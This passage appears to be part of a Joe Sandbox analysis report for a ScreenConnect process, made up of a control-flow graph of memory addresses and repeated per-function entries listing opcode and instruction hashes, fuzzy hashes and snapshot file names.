                                                                                                                control_flow_graph 1206 7ffebc446228-7ffebc44623c 1207 7ffebc4469cf-7ffebc446a3a 1206->1207 1208 7ffebc446242-7ffebc44624c 1206->1208 1216 7ffebc446a40-7ffebc446a5e call 7ffebc440c40 * 2 1207->1216 1217 7ffebc446e48-7ffebc446e66 call 7ffebc440c40 * 2 1207->1217 1208->1207 1228 7ffebc446cde-7ffebc446cfc call 7ffebc440c40 * 2 1216->1228 1229 7ffebc446a64-7ffebc446a6c 1216->1229 1226 7ffebc446f72-7ffebc446f7d 1217->1226 1227 7ffebc446e6c-7ffebc446e73 1217->1227 1230 7ffebc446e75-7ffebc446e84 1227->1230 1231 7ffebc446e86-7ffebc446e88 1227->1231 1247 7ffebc446cfe-7ffebc446d08 1228->1247 1248 7ffebc446d26-7ffebc446d44 call 7ffebc440c40 * 2 1228->1248 1235 7ffebc446a73-7ffebc446a76 1229->1235 1230->1231 1241 7ffebc446e8a 1230->1241 1233 7ffebc446e8f-7ffebc446eb3 1231->1233 1244 7ffebc446eff-7ffebc446f03 1233->1244 1245 7ffebc446eb5-7ffebc446eb6 1233->1245 1238 7ffebc446a78-7ffebc446a7a 1235->1238 1239 7ffebc446a7c-7ffebc446a8a 1235->1239 1240 7ffebc446a8d-7ffebc446aa2 1238->1240 1239->1240 1253 7ffebc446aa4-7ffebc446aa6 1240->1253 1254 7ffebc446aa8-7ffebc446acc call 7ffebc445b00 * 2 1240->1254 1241->1233 1244->1226 1245->1244 1249 7ffebc446d1c 1247->1249 1250 7ffebc446d0a-7ffebc446d1a 1247->1250 1265 7ffebc446dfb-7ffebc446e06 1248->1265 1266 7ffebc446d4a-7ffebc446d55 1248->1266 1255 7ffebc446d1e-7ffebc446d1f 1249->1255 1250->1255 1259 7ffebc446acf-7ffebc446ae4 1253->1259 1254->1259 1255->1248 1268 7ffebc446ae6-7ffebc446ae8 1259->1268 1269 7ffebc446aea-7ffebc446b0e call 7ffebc445b00 * 2 1259->1269 1274 7ffebc446e08-7ffebc446e0a 1265->1274 1275 7ffebc446e0c-7ffebc446e1b 1265->1275 1277 7ffebc446d57-7ffebc446d59 1266->1277 1278 7ffebc446d5b-7ffebc446d6a 1266->1278 1272 7ffebc446b11-7ffebc446b26 1268->1272 1269->1272 1287 7ffebc446b28-7ffebc446b2a 1272->1287 1288 7ffebc446b2c-7ffebc446b50 call 7ffebc445b00 1272->1288 1279 7ffebc446e1e-7ffebc446e20 1274->1279 1275->1279 1282 7ffebc446d6d-7ffebc446d91 1277->1282 1278->1282 1279->1226 1286 7ffebc446e26-7ffebc446e2e 1279->1286 1282->1265 1286->1217 1290 7ffebc446b53-7ffebc446b61 1287->1290 1288->1290 1293 7ffebc446b63-7ffebc446b65 1290->1293 1294 7ffebc446b67-7ffebc446b75 1290->1294 1295 7ffebc446b78-7ffebc446b79 1293->1295 1294->1295 1297 7ffebc446b80-7ffebc446b81 1295->1297 1298 7ffebc446b88-7ffebc446b8f 1297->1298 1298->1228 1299 7ffebc446b95-7ffebc446b9c 1298->1299 1299->1228 1300 7ffebc446ba2-7ffebc446bb9 1299->1300 1302 7ffebc446bee-7ffebc446bf9 1300->1302 1303 7ffebc446bbb-7ffebc446bcd 1300->1303 1306 7ffebc446bff-7ffebc446c0e 1302->1306 1307 7ffebc446bfb-7ffebc446bfd 1302->1307 1308 7ffebc446bcf-7ffebc446bd1 1303->1308 1309 7ffebc446bd3-7ffebc446be1 1303->1309 1310 7ffebc446c11-7ffebc446c13 1306->1310 1307->1310 1311 7ffebc446be4-7ffebc446be7 1308->1311 1309->1311 1314 7ffebc446c19-7ffebc446c30 1310->1314 1315 7ffebc446cc8-7ffebc446cd0 1310->1315 1311->1302 1314->1315 1317 7ffebc446c36-7ffebc446c53 1314->1317 1315->1228 1320 7ffebc446c5f 1317->1320 1321 7ffebc446c55-7ffebc446c5d 1317->1321 1322 7ffebc446c61-7ffebc446c63 1320->1322 1321->1322 1322->1315 1323 7ffebc446c65-7ffebc446c6f 1322->1323 1325 7ffebc446c71-7ffebc446c7b call 7ffebc443ce8 1323->1325 1326 7ffebc446c7d-7ffebc446c85 1323->1326 1325->1228 1325->1326 1328 7ffebc446cb3-7ffebc446cc6 call 7ffebc445b28 1326->1328 1329 7ffebc446c87-7ffebc446c88 1326->1329 1328->1228
                                                                                                                Memory Dump Source
                                                                                                                • Source File: 00000014.00000002.2508649839.00007FFEBC440000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFEBC440000, based on PE: false
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_20_2_7ffebc440000_ScreenConnect.jbxd
                                                                                                                Similarity
                                                                                                                • API ID:
                                                                                                                • String ID:
                                                                                                                • API String ID:
                                                                                                                • Opcode ID: 69a8241c1269a4442d3f8a34f7b107750cab1cd7d5d83b21c8f8755733a15dc0
                                                                                                                • Instruction ID: 09750a8da09beb7cceb4ef437315ed1bbf09b39f4693cc9fa2edf67dae573194
                                                                                                                • Opcode Fuzzy Hash: 69a8241c1269a4442d3f8a34f7b107750cab1cd7d5d83b21c8f8755733a15dc0
                                                                                                                • Instruction Fuzzy Hash: 62619130A8CE579AE7A5972C40616F977D3EF85308F640279D64ED72F2DE28B9068341
                                                                                                                Function 00007FFEBC443F21 Relevance: .1, Instructions: 118COMMON
                                                                                                                Download Yara Rule
                                                                                                                Memory Dump Source
                                                                                                                • Source File: 00000014.00000002.2508649839.00007FFEBC440000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFEBC440000, based on PE: false
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_20_2_7ffebc440000_ScreenConnect.jbxd
                                                                                                                Similarity
                                                                                                                • API ID:
                                                                                                                • String ID:
                                                                                                                • API String ID:
                                                                                                                • Opcode ID: 3e4b4abe7c84cbccfe29308aaf5068f1bf18b0864db97ca0b6043ae18d1a52bc
                                                                                                                • Instruction ID: 9c31c2ae70305199fdec2882db3ddc37e0b3135313b0b77bc147656a048aeb8e
                                                                                                                • Opcode Fuzzy Hash: 3e4b4abe7c84cbccfe29308aaf5068f1bf18b0864db97ca0b6043ae18d1a52bc
                                                                                                                • Instruction Fuzzy Hash: 72418D3464CA068FDADCEF1CC091A6573A2FF98305B704968C11DCF69ACA35E993C740
                                                                                                                Function 00007FFEBC4484F5 Relevance: .1, Instructions: 92COMMON
                                                                                                                Download Yara Rule
                                                                                                                Memory Dump Source
                                                                                                                • Source File: 00000014.00000002.2508649839.00007FFEBC440000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFEBC440000, based on PE: false
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_20_2_7ffebc440000_ScreenConnect.jbxd
                                                                                                                Similarity
                                                                                                                • API ID:
                                                                                                                • String ID:
                                                                                                                • API String ID:
                                                                                                                • Opcode ID: 00313554aca6448bd256767f2267a4e59b69d3b0cc3874e714ddb75079ca5d31
                                                                                                                • Instruction ID: 492461bf3458a09080201508a800d6659e9387f7be98532991f9ce77c133d2fc
                                                                                                                • Opcode Fuzzy Hash: 00313554aca6448bd256767f2267a4e59b69d3b0cc3874e714ddb75079ca5d31
                                                                                                                • Instruction Fuzzy Hash: 55314F70618B4E8FCF84DF18C894AA677A2FF5D314B5046ADD91AC72E6CB35E812CB50
                                                                                                                Function 00007FFEBC44841A Relevance: .1, Instructions: 86COMMON
                                                                                                                Download Yara Rule
                                                                                                                Memory Dump Source
                                                                                                                • Source File: 00000014.00000002.2508649839.00007FFEBC440000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFEBC440000, based on PE: false
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_20_2_7ffebc440000_ScreenConnect.jbxd
                                                                                                                Similarity
                                                                                                                • API ID:
                                                                                                                • String ID:
                                                                                                                • API String ID:
                                                                                                                • Opcode ID: 85121f7a60373cdab5ac1c3c2e7d30ed0fd28c71a1177e21fb045330de2ddc9f
                                                                                                                • Instruction ID: addf1f240182ebe51af6e8dbbd2dc4600fce56e51e262ea14d982041f8d66680
                                                                                                                • Opcode Fuzzy Hash: 85121f7a60373cdab5ac1c3c2e7d30ed0fd28c71a1177e21fb045330de2ddc9f
                                                                                                                • Instruction Fuzzy Hash: 2221473084DE898FD7959B2C88441A57BE2FF99324B5802BFC54DC31B2DF28A842C361
                                                                                                                Function 00007FFEBC441310 Relevance: .1, Instructions: 73COMMON
                                                                                                                Download Yara Rule
                                                                                                                Memory Dump Source
                                                                                                                • Source File: 00000014.00000002.2508649839.00007FFEBC440000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFEBC440000, based on PE: false
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_20_2_7ffebc440000_ScreenConnect.jbxd
                                                                                                                Similarity
                                                                                                                • API ID:
                                                                                                                • String ID:
                                                                                                                • API String ID:
                                                                                                                • Opcode ID: 496c544c5ef8497cc282a85007587f5cb072fcd965de3ad983f2edf6bdc7614d
                                                                                                                • Instruction ID: 3ec3e81c91679d8ee8ea2d2e560d45b78554dc07fc9643ebaf76792bae8ff265
                                                                                                                • Opcode Fuzzy Hash: 496c544c5ef8497cc282a85007587f5cb072fcd965de3ad983f2edf6bdc7614d
                                                                                                                • Instruction Fuzzy Hash: A8219233C0D7565BFB01F72CA4A20E53BA1DF12328F5440FAE6488A0B3ED1978459A92
                                                                                                                Function 00007FFEBC443A7F Relevance: .1, Instructions: 70COMMON
                                                                                                                Download Yara Rule
                                                                                                                Memory Dump Source
                                                                                                                • Source File: 00000014.00000002.2508649839.00007FFEBC440000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFEBC440000, based on PE: false
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_20_2_7ffebc440000_ScreenConnect.jbxd
                                                                                                                Similarity
                                                                                                                • API ID:
                                                                                                                • String ID:
                                                                                                                • API String ID:
                                                                                                                • Opcode ID: c5ae2d9cc2df3c0b5bb528fbefbd1423bca8720673385c7db8b601c741148a33
                                                                                                                • Instruction ID: 1c64a5560c553e087888e22c1893e3c661f16e7e244df74603e368b3253dbe5f
                                                                                                                • Opcode Fuzzy Hash: c5ae2d9cc2df3c0b5bb528fbefbd1423bca8720673385c7db8b601c741148a33
                                                                                                                • Instruction Fuzzy Hash: 79115E2254E3D19FD3039B6898658D57FB4DF9722470A01EBD285CB0B3C91D594AC7A2
                                                                                                                Function 00007FFEBC442773 Relevance: .1, Instructions: 68COMMON
                                                                                                                Download Yara Rule
                                                                                                                Memory Dump Source
                                                                                                                • Source File: 00000014.00000002.2508649839.00007FFEBC440000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFEBC440000, based on PE: false
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_20_2_7ffebc440000_ScreenConnect.jbxd
                                                                                                                Similarity
                                                                                                                • API ID:
                                                                                                                • String ID:
                                                                                                                • API String ID:
                                                                                                                • Opcode ID: 58718ff1880946df0c4825d314c5875ede2795ebad90fb469cb722c46de44857
                                                                                                                • Instruction ID: 320a6d90344c26a61beb92fa6e14d6825e424daeb06f3a2c28e4ace9b95fb07e
                                                                                                                • Opcode Fuzzy Hash: 58718ff1880946df0c4825d314c5875ede2795ebad90fb469cb722c46de44857
                                                                                                                • Instruction Fuzzy Hash: 3A11FC3120C9088FDF99DF1CD095BA577E2FB59315F1405ADD54ECB296CA32E852CB40
                                                                                                                Function 00007FFEBC448C46 Relevance: .1, Instructions: 55COMMON
                                                                                                                Download Yara Rule
                                                                                                                Memory Dump Source
                                                                                                                • Source File: 00000014.00000002.2508649839.00007FFEBC440000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFEBC440000, based on PE: false
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_20_2_7ffebc440000_ScreenConnect.jbxd
                                                                                                                Similarity
                                                                                                                • API ID:
                                                                                                                • String ID:
                                                                                                                • API String ID:
                                                                                                                • Opcode ID: 4c6aa805da4d1183001287198d7b47e52d21cb150c0b58b79ddb4a7206404dfc
                                                                                                                • Instruction ID: f2dc6439fe44f60558759d31084593660f0e00a163a5c4d1f0cbed189962a0c5
                                                                                                                • Opcode Fuzzy Hash: 4c6aa805da4d1183001287198d7b47e52d21cb150c0b58b79ddb4a7206404dfc
                                                                                                                • Instruction Fuzzy Hash: 25F02433B9E72607A70C112D788B1B433C2E796277728103FE9C7C25A2EC2EA4831555
                                                                                                                Function 00007FFEBC44468E Relevance: .1, Instructions: 54COMMON
                                                                                                                Download Yara Rule
                                                                                                                Memory Dump Source
                                                                                                                • Source File: 00000014.00000002.2508649839.00007FFEBC440000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFEBC440000, based on PE: false
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_20_2_7ffebc440000_ScreenConnect.jbxd
                                                                                                                Similarity
                                                                                                                • API ID:
                                                                                                                • String ID:
                                                                                                                • API String ID:
                                                                                                                • Opcode ID: 70feff6c3dd13caaadaa2748d9aff344e57956c49fc7147c74d66d773672db4f
                                                                                                                • Instruction ID: 6320633c87d450d8917e3c7704b8fa0bdb26d917fd15b83877dc5024c28d7afa
                                                                                                                • Opcode Fuzzy Hash: 70feff6c3dd13caaadaa2748d9aff344e57956c49fc7147c74d66d773672db4f
                                                                                                                • Instruction Fuzzy Hash: D401D214D4CA074BFBA4A32C80B43B923D2AF95359F389ABAC10DC61F1DD6C9D868600
                                                                                                                Function 00007FFEBC446283 Relevance: .0, Instructions: 48COMMON
                                                                                                                Download Yara Rule
                                                                                                                Memory Dump Source
                                                                                                                • Source File: 00000014.00000002.2508649839.00007FFEBC440000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFEBC440000, based on PE: false
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_20_2_7ffebc440000_ScreenConnect.jbxd
                                                                                                                Similarity
                                                                                                                • API ID:
                                                                                                                • String ID:
                                                                                                                • API String ID:
                                                                                                                • Opcode ID: de3cf6d17164cc8288b5e555f4488606eebd3cdbd7078127e3d8f91836011ae1
                                                                                                                • Instruction ID: 87c9152ec602126944d710da841367e548abf085570d35b660f79300cfdc2172
                                                                                                                • Opcode Fuzzy Hash: de3cf6d17164cc8288b5e555f4488606eebd3cdbd7078127e3d8f91836011ae1
                                                                                                                • Instruction Fuzzy Hash: 3E01D63055C61D4EE7889F5CD04D7F473C2EB85325F60913DD94E850A2EE79A9C6CB41
                                                                                                                Function 00007FFEBC447F34 Relevance: .0, Instructions: 46COMMON
                                                                                                                Download Yara Rule
                                                                                                                Memory Dump Source
                                                                                                                • Source File: 00000014.00000002.2508649839.00007FFEBC440000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFEBC440000, based on PE: false
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_20_2_7ffebc440000_ScreenConnect.jbxd
                                                                                                                Similarity
                                                                                                                • API ID:
                                                                                                                • String ID:
                                                                                                                • API String ID:
                                                                                                                • Opcode ID: e799f772d45d6fa196020521cb2c4acb15180425703777a59525540c4dfc76a6
                                                                                                                • Instruction ID: bb11bfe04ef53989da19a715c319cd876ac339411c8c27ed44f34c0e143176d7
                                                                                                                • Opcode Fuzzy Hash: e799f772d45d6fa196020521cb2c4acb15180425703777a59525540c4dfc76a6
                                                                                                                • Instruction Fuzzy Hash: E9F08130A6DB0A4FEA88EB6C9050AF1B3E1FF58314FA00579D61EC31A2DE19FD418780
                                                                                                                Function 00007FFEBC444D05 Relevance: .0, Instructions: 45COMMON
                                                                                                                Download Yara Rule
                                                                                                                Memory Dump Source
                                                                                                                • Source File: 00000014.00000002.2508649839.00007FFEBC440000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFEBC440000, based on PE: false
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_20_2_7ffebc440000_ScreenConnect.jbxd
                                                                                                                Similarity
                                                                                                                • API ID:
                                                                                                                • String ID:
                                                                                                                • API String ID:
                                                                                                                • Opcode ID: 85b96dc64ea6876adad8bbc4cb941434712d3ec22cca1b16e8d4f61fbc64493c
                                                                                                                • Instruction ID: b05b1c9dfdd1465a2773b3a6bfaaf69b298e2f8e9912a7c0afad667fc0f05fed
                                                                                                                • Opcode Fuzzy Hash: 85b96dc64ea6876adad8bbc4cb941434712d3ec22cca1b16e8d4f61fbc64493c
                                                                                                                • Instruction Fuzzy Hash: D8F02411A0DD4A0BD7EA932C24282B297D3DBD9127F2903B7D94CC32FADD149D424380
                                                                                                                Function 00007FFEBC4483CA Relevance: .0, Instructions: 45COMMON
                                                                                                                Download Yara Rule
                                                                                                                Memory Dump Source
                                                                                                                • Source File: 00000014.00000002.2508649839.00007FFEBC440000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFEBC440000, based on PE: false
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_20_2_7ffebc440000_ScreenConnect.jbxd
                                                                                                                Similarity
                                                                                                                • API ID:
                                                                                                                • String ID:
                                                                                                                • API String ID:
                                                                                                                • Opcode ID: 0de59140547059cceeec686e515c8ad6411fccc4cf324dc81c2c9541caf11e60
                                                                                                                • Instruction ID: c4302c322c20ad9308bde794f626c53fcf0a72fd1052815e048757e38f240cd0
                                                                                                                • Opcode Fuzzy Hash: 0de59140547059cceeec686e515c8ad6411fccc4cf324dc81c2c9541caf11e60
                                                                                                                • Instruction Fuzzy Hash: 18F0F43198D90C8BD760AB9D98450AC77A1FF98719F100235E54CD35A2EF346A428751
                                                                                                                Function 00007FFEBC445E56 Relevance: .0, Instructions: 41COMMON
                                                                                                                Download Yara Rule
                                                                                                                Memory Dump Source
                                                                                                                • Source File: 00000014.00000002.2508649839.00007FFEBC440000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFEBC440000, based on PE: false
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_20_2_7ffebc440000_ScreenConnect.jbxd
                                                                                                                Similarity
                                                                                                                • API ID:
                                                                                                                • String ID:
                                                                                                                • API String ID:
                                                                                                                • Opcode ID: b11b552a58c56483d374fc468a9365f8a41b4d36814cbabdb1b2432e818f59d2
                                                                                                                • Instruction ID: 03f184fa0f5c42251e4371b168b3a2e03eb88cfb5a94665329bd3cc934bcd679
                                                                                                                • Opcode Fuzzy Hash: b11b552a58c56483d374fc468a9365f8a41b4d36814cbabdb1b2432e818f59d2
                                                                                                                • Instruction Fuzzy Hash: 51018630A9D5171AFE999B1C40A1BB823D3AF95308FA4027CDA4EDA1F3CE1CE9058611
                                                                                                                Function 00007FFEBC444FCA Relevance: .0, Instructions: 38COMMON
                                                                                                                Download Yara Rule
                                                                                                                Memory Dump Source
                                                                                                                • Source File: 00000014.00000002.2508649839.00007FFEBC440000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFEBC440000, based on PE: false
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_20_2_7ffebc440000_ScreenConnect.jbxd
                                                                                                                Similarity
                                                                                                                • API ID:
                                                                                                                • String ID:
                                                                                                                • API String ID:
                                                                                                                • Opcode ID: 4bc57d8298dc751d9e7e40c7d51bc8dd00530510f32c1f56663a838590d56181
                                                                                                                • Instruction ID: b9b610262676683f7225cefdbf9319b6d9eef1a849b42139ff2b5610281a5240
                                                                                                                • Opcode Fuzzy Hash: 4bc57d8298dc751d9e7e40c7d51bc8dd00530510f32c1f56663a838590d56181
                                                                                                                • Instruction Fuzzy Hash: 72F0273224D7450AE765EA3C7C434B4B7D0EB431307140BBEC6D6835A3D90AE0478781
                                                                                                                Function 00007FFEBC4405B1 Relevance: .0, Instructions: 35COMMON
                                                                                                                Download Yara Rule
                                                                                                                Memory Dump Source
                                                                                                                • Source File: 00000014.00000002.2508649839.00007FFEBC440000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFEBC440000, based on PE: false
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_20_2_7ffebc440000_ScreenConnect.jbxd
                                                                                                                Similarity
                                                                                                                • API ID:
                                                                                                                • String ID:
                                                                                                                • API String ID:
                                                                                                                • Opcode ID: 29f1928d12b21818608fe20fd455e63eddbdf59e4da94446b6c61a2299dc8c0c
                                                                                                                • Instruction ID: 04777f142560144eadf4d67847666a7257e6a90d529f7eb9eaa2e028b91ad76e
                                                                                                                • Opcode Fuzzy Hash: 29f1928d12b21818608fe20fd455e63eddbdf59e4da94446b6c61a2299dc8c0c
                                                                                                                • Instruction Fuzzy Hash: 7AE09B1091D6454FD74A573884594F13BA0FE5521079841EAD849CA0B3E91C89D5C382
                                                                                                                Function 00007FFEBC4446A9 Relevance: .0, Instructions: 33COMMON
                                                                                                                Download Yara Rule
                                                                                                                Memory Dump Source
                                                                                                                • Source File: 00000014.00000002.2508649839.00007FFEBC440000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFEBC440000, based on PE: false
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_20_2_7ffebc440000_ScreenConnect.jbxd
                                                                                                                Similarity
                                                                                                                • API ID:
                                                                                                                • String ID:
                                                                                                                • API String ID:
                                                                                                                • Opcode ID: 073ef00bd81a6b0282ed604546db9b2b49db5b2de6e284190a1cb34aafb30773
                                                                                                                • Instruction ID: 9220672f38022219f0e77aa09f2f889deb233ea1aa00f52497a88c18334a439c
                                                                                                                • Opcode Fuzzy Hash: 073ef00bd81a6b0282ed604546db9b2b49db5b2de6e284190a1cb34aafb30773
                                                                                                                • Instruction Fuzzy Hash: 11F03A6584D7920BEB6A132D68A12796BB19F42214F1955FFC289C50F3DC9C998A8312
                                                                                                                Function 00007FFEBC443A29 Relevance: .0, Instructions: 33COMMON
                                                                                                                Download Yara Rule
                                                                                                                Memory Dump Source
                                                                                                                • Source File: 00000014.00000002.2508649839.00007FFEBC440000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFEBC440000, based on PE: false
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_20_2_7ffebc440000_ScreenConnect.jbxd
                                                                                                                Similarity
                                                                                                                • API ID:
                                                                                                                • String ID:
                                                                                                                • API String ID:
                                                                                                                • Opcode ID: 8e771ea380422b94b60052b406ce3cbb5a8130f597b44a49ecd9e0e0aac49e58
                                                                                                                • Instruction ID: 7db5a282bc3466a8d0e55554b6af4e890d6280d72e6f751c3560636686f62a39
                                                                                                                • Opcode Fuzzy Hash: 8e771ea380422b94b60052b406ce3cbb5a8130f597b44a49ecd9e0e0aac49e58
                                                                                                                • Instruction Fuzzy Hash: 75F06D3180865CAFCB42EB28E4518E67BB0EF0A314B1101D7E449CB062EB219A5ACBC2
                                                                                                                Function 00007FFEBC445DCF Relevance: .0, Instructions: 33COMMON
                                                                                                                Download Yara Rule
                                                                                                                Memory Dump Source
                                                                                                                • Source File: 00000014.00000002.2508649839.00007FFEBC440000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFEBC440000, based on PE: false
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_20_2_7ffebc440000_ScreenConnect.jbxd
                                                                                                                Similarity
                                                                                                                • API ID:
                                                                                                                • String ID:
                                                                                                                • API String ID:
                                                                                                                • Opcode ID: 36262501389bd82575138ffd3b6df91b274450685443d7612a44a89daf2a921a
                                                                                                                • Instruction ID: f3e0eb0ab5671c3aba77d061230b1bafcc4773247280a318f58c82b3fca48d00
                                                                                                                • Opcode Fuzzy Hash: 36262501389bd82575138ffd3b6df91b274450685443d7612a44a89daf2a921a
                                                                                                                • Instruction Fuzzy Hash: A3F01D30A9D90A4BFE959B1C4195BB563D2AB89348FA402B5D94DC72E6CE28ED008641
                                                                                                                Function 00007FFEBC4427D3 Relevance: .0, Instructions: 33COMMON
                                                                                                                Download Yara Rule
                                                                                                                Memory Dump Source
                                                                                                                • Source File: 00000014.00000002.2508649839.00007FFEBC440000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFEBC440000, based on PE: false
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_20_2_7ffebc440000_ScreenConnect.jbxd
                                                                                                                Similarity
                                                                                                                • API ID:
                                                                                                                • String ID:
                                                                                                                • API String ID:
                                                                                                                • Opcode ID: 2e3cff3689f9a299cf79158675298669f819c38a4dd8d52fcb051d3b77234a66
                                                                                                                • Instruction ID: 005fb1214031da67c21c9330516a36508e3fb714175f72818bc38f02ae57554a
                                                                                                                • Opcode Fuzzy Hash: 2e3cff3689f9a299cf79158675298669f819c38a4dd8d52fcb051d3b77234a66
                                                                                                                • Instruction Fuzzy Hash: 38F0F9306189098FDB94EF1CC494EA677A2FF6830875445A8D54EDB2A6CE25ED42CB40
                                                                                                                Function 00007FFEBC44283D Relevance: .0, Instructions: 31COMMON
                                                                                                                Download Yara Rule
                                                                                                                Memory Dump Source
                                                                                                                • Source File: 00000014.00000002.2508649839.00007FFEBC440000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFEBC440000, based on PE: false
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_20_2_7ffebc440000_ScreenConnect.jbxd
                                                                                                                Similarity
                                                                                                                • API ID:
                                                                                                                • String ID:
                                                                                                                • API String ID:
                                                                                                                • Opcode ID: 285a973358e12e1ec25ed0c8e357d89eabac24552147fd705cca63fd8a4d5338
                                                                                                                • Instruction ID: 31e61abd2ecf43df87b937a66985e539ef8f38e4c0f85fd1bea4a7e7b633e289
                                                                                                                • Opcode Fuzzy Hash: 285a973358e12e1ec25ed0c8e357d89eabac24552147fd705cca63fd8a4d5338
                                                                                                                • Instruction Fuzzy Hash: D9F0B7346589498FDB88EF1CC094EA577A2FF6830875445E8954EDB2A6CE25E902CB40
                                                                                                                Function 00007FFEBC4427F0 Relevance: .0, Instructions: 28COMMON
                                                                                                                Download Yara Rule
                                                                                                                Memory Dump Source
                                                                                                                • Source File: 00000014.00000002.2508649839.00007FFEBC440000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFEBC440000, based on PE: false
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_20_2_7ffebc440000_ScreenConnect.jbxd
                                                                                                                Similarity
                                                                                                                • API ID:
                                                                                                                • String ID:
                                                                                                                • API String ID:
                                                                                                                • Opcode ID: afa5e18a4ad9b5007e042fe22f82133f6ab4e8be0bfa2ffa002fd819f2a2156a
                                                                                                                • Instruction ID: 93319fd26da499a259eda4a2bc736a93338e55d09aa1ceec2f9a63c5b22487e4
                                                                                                                • Opcode Fuzzy Hash: afa5e18a4ad9b5007e042fe22f82133f6ab4e8be0bfa2ffa002fd819f2a2156a
                                                                                                                • Instruction Fuzzy Hash: 41F04C746089088FDF98DF1CC094B6577E2FFA830572446A9D54EDB2A6CA36ED42CB41
                                                                                                                Function 00007FFEBC442859 Relevance: .0, Instructions: 27COMMON
                                                                                                                Download Yara Rule
                                                                                                                Memory Dump Source
                                                                                                                • Source File: 00000014.00000002.2508649839.00007FFEBC440000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFEBC440000, based on PE: false
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_20_2_7ffebc440000_ScreenConnect.jbxd
                                                                                                                Similarity
                                                                                                                • API ID:
                                                                                                                • String ID:
                                                                                                                • API String ID:
                                                                                                                • Opcode ID: 84747621078f6b8d79412a63a9f32eb5e864962eab26f77c4c585fea0aff86cb
                                                                                                                • Instruction ID: 4394bcd535edc9656f0d8680ffbaa6a1bc1c2e533c1beaf4fb66381771a55614
                                                                                                                • Opcode Fuzzy Hash: 84747621078f6b8d79412a63a9f32eb5e864962eab26f77c4c585fea0aff86cb
                                                                                                                • Instruction Fuzzy Hash: 93F045746089088FCF98EF1CC094B6577E2FFA83057144199D44EDB2AACA36ED42CB40
                                                                                                                Function 00007FFEBC448390 Relevance: .0, Instructions: 26COMMON
                                                                                                                Download Yara Rule
                                                                                                                Memory Dump Source
                                                                                                                • Source File: 00000014.00000002.2508649839.00007FFEBC440000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFEBC440000, based on PE: false
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_20_2_7ffebc440000_ScreenConnect.jbxd
                                                                                                                Similarity
                                                                                                                • API ID:
                                                                                                                • String ID:
                                                                                                                • API String ID:
                                                                                                                • Opcode ID: eb334347f26c42eb035fc5fcb7339b0a216a8acffb7b3273bcf9fdd0af9b1200
                                                                                                                • Instruction ID: b87b4834199b913788b220613181bdc25cbbc5c6f8db4e09177cd0d0bc3dfb09
                                                                                                                • Opcode Fuzzy Hash: eb334347f26c42eb035fc5fcb7339b0a216a8acffb7b3273bcf9fdd0af9b1200
                                                                                                                • Instruction Fuzzy Hash: 5AE02231A4DA458ADB40E728E4066FEBBE2EF95319F0812AAC24DE7192CE2D71058780
                                                                                                                Function 00007FFEBC4446C0 Relevance: .0, Instructions: 24COMMON
                                                                                                                Download Yara Rule
                                                                                                                Memory Dump Source
                                                                                                                • Source File: 00000014.00000002.2508649839.00007FFEBC440000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFEBC440000, based on PE: false
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_20_2_7ffebc440000_ScreenConnect.jbxd
                                                                                                                Similarity
                                                                                                                • API ID:
                                                                                                                • String ID:
                                                                                                                • API String ID:
